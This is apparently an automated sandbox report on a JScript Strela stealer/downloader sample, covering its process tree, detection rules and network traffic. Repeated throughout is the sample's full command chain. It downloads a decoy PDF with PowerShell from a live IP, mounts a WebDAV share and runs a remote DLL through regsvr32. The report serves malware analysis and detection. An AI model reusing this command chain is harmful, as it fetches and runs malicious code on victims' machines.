Edit tour

Windows Analysis Report
28091322483050023072.js

Overview

General Information

Sample name:	28091322483050023072.js
Analysis ID:	1587707
MD5:	3c8f4e50ce2f4a5519589c06c70fc41f
SHA1:	c015c19a5f3cc2d5e5aff73045b6b1a99e0882b7
SHA256:	46c3e35f32f451746255e16cdd615a38f2046028146cc530adedea29ce2af791
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 360 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5472 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5512 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7216 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7420 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1792,i,5285595504766406101,835774247226273641,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2284 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6444 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7284 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 360	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5512, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5512, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", ProcessId: 360, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6444, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 360, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 5472, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 360, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 5472, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 360, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 5472, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 360, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 5472, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 360, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 5472, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", ProcessId: 360, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5512, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2284, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6444, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7284, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2284, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6444, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28091322483050023072.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 360, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 5472, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:13:09.943635+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:13:07.461785+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 28091322483050023072.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 28091322483050023072.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:13:07 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:55060 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

